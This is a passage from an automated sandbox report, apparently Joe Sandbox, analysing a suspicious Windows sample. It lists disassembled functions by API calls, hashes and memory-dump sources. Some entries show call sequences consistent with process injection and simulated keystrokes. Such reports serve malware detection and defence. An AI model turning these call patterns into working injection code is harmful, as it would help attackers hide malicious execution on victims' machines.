                                                                                                                                                  • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Message$DispatchTranslate
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1706434739-0
                                                                                                                                                  • Opcode ID: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                  • Instruction ID: 6b3a2aeb923af73eb4cdb1bab797699f2cf27729a5018e8568c19fb4e3feaf67
                                                                                                                                                  • Opcode Fuzzy Hash: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                  • Instruction Fuzzy Hash: D4F05471114301AEDA24DBE58D41B5BB3A8AFD8700F408C2EBA51E61C1FBF8E404C76A
                                                                                                                                                  Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                  • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Message$DispatchTranslate
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1706434739-0
                                                                                                                                                  • Opcode ID: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                  • Instruction ID: cc4909b6a78c34842ee59a7900970f574117f06624f4f9c7373c79b1fb9dfc76
                                                                                                                                                  • Opcode Fuzzy Hash: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                  • Instruction Fuzzy Hash: DDF054B1114301AADA14DBE58D41B5BB3A4AF94740F408C2EBA11E52C1EBFCD504C71A
                                                                                                                                                  Function 040B8765 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateProcessW.KERNELBASE(?,00000000), ref: 040B8F23
                                                                                                                                                  • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 040B8FB9
                                                                                                                                                  • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 040B8FDB
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2438371351-0
                                                                                                                                                  • Opcode ID: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
                                                                                                                                                  • Instruction ID: 12e2b8d0f032237066d9f0d35b7960353cfebcabfd5cd35e79be138cccc9279b
                                                                                                                                                  • Opcode Fuzzy Hash: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
                                                                                                                                                  • Instruction Fuzzy Hash: 6512DE20E24658C6EB24DF64D8507DEB272EF68300F1090E9910DEB7A5E77A5F81CF5A
                                                                                                                                                  Function 00410D40 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ProtectVirtual
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 544645111-0
                                                                                                                                                  • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                  • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                                                                                                                                                  • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                  • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                                                                                                                                                  Function 004092C0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                                                                                                  • Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
                                                                                                                                                  • Opcode Fuzzy Hash: a12857963b59ba27d86be744ec8e6ce9272b51880a9e98fb69d1fc4369ccfb77
                                                                                                                                                  • Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E
                                                                                                                                                  Function 00401108 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ProcWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 181713994-0
                                                                                                                                                  • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                  • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                                                                                                                                                  • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                  • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                                                                                                                                                  Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateHeap
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 10892065-0
                                                                                                                                                  • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                  • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                                                                                                  • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                  • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                                                                                                  Function 00444343 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                                                                                                                                                  • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: File$PointerWrite
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 539440098-0
                                                                                                                                                  • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                  • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                                                                                                                                                  • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                  • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                                                                                                                                                  Function 0040116E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ProcWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 181713994-0
                                                                                                                                                  • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                  • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                                                                                                                                                  • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                  • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                                                                                                                                                  Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wfsopen
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 197181222-0
                                                                                                                                                  • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                  • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                                                                                                  • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                  • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                                                                                                  Function 0040D900 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CloseHandle
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2962429428-0
                                                                                                                                                  • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                  • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                                                                                                                                                  • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                  • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                                                                                                                                                  Function 040B9764 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • Sleep.KERNELBASE(000001F4), ref: 040B9779
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Sleep
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3472027048-0
                                                                                                                                                  • Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                                                                                                                  • Instruction ID: 602b4fcbb09f7ecbb582faf5a7be9e118da44dae53784dbe2beec9b033ccbe63
                                                                                                                                                  • Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                                                                                                                  • Instruction Fuzzy Hash: A2E0BF7498020DEFDB00DFA4D5496DD7BB4EF04301F1005A1FD05E7680DB309E548A66
                                                                                                                                                  Function 040B9768 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • Sleep.KERNELBASE(000001F4), ref: 040B9779
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Sleep
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3472027048-0
                                                                                                                                                  • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                  • Instruction ID: 8fc67cd4d923547c917fafc52f95f76b2969b3e271d1ae9565ba51c5d8b38f51
                                                                                                                                                  • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                  • Instruction Fuzzy Hash: F3E0E67498020DEFDB00DFB4D5496DD7BF4EF04301F100561FD05E2280D6309D508A62

                                                                                                                                                  Non-executed Functions

                                                                                                                                                  Function 0047C08E Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 676windowkeyboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                                                                                                  • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                                                                                                  • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                                                                                                  • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                                                                                                  • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                                                                                                  • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                                                                                                  • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                                                                                                                                                  • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                                                                                                  • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                                                                                                  • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                                                                                                  • SendMessageW.USER32 ref: 0047C2FB
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$State$LongProcWindow
                                                                                                                                                  • String ID: @GUI_DRAGID$@U=u$F
                                                                                                                                                  • API String ID: 1562745308-1007936534
                                                                                                                                                  • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                  • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                                                                                                  • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                  • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                                                                                                  Function 004045E0 Relevance: 46.9, Strings: 35, Instructions: 3193COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                                                                                                                                                  • API String ID: 0-3772701627
                                                                                                                                                  • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                  • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
                                                                                                                                                  • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                  • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                                                                                                                                                  Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                                                                                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                                                                                                  • IsIconic.USER32(?), ref: 004375E1
                                                                                                                                                  • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                                                                                                  • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                                                                                                  • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                                                                                                  • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                                                                                                  • SetForegroundWindow.USER32(?), ref: 00437645
                                                                                                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                                                                                                  • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                                                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                                                                                                  • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                                                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                                                                                                                                                  • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                                                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                                                                                                  • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                                                                                                  • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                                                                                                  • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
